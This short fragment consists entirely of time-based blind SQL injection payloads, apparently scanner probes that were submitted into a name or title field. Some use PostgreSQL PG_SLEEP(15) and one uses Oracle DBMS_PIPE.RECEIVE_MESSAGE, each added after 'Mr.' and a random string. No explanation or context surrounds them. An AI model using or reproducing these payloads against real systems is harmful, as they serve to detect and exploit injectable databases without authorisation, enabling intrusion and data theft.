MR.IYWVKXMU') OR 777=(SELECT 777 FROM PG_SLEEP(15))--  
  Mr.iYWvKxMu') OR 777=(SELECT 777 FROM PG_SLEEP(15))-- Mr.sflAvsnP')) OR 167=(SELECT 167 FROM PG_SLEEP(15))-- Mr.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'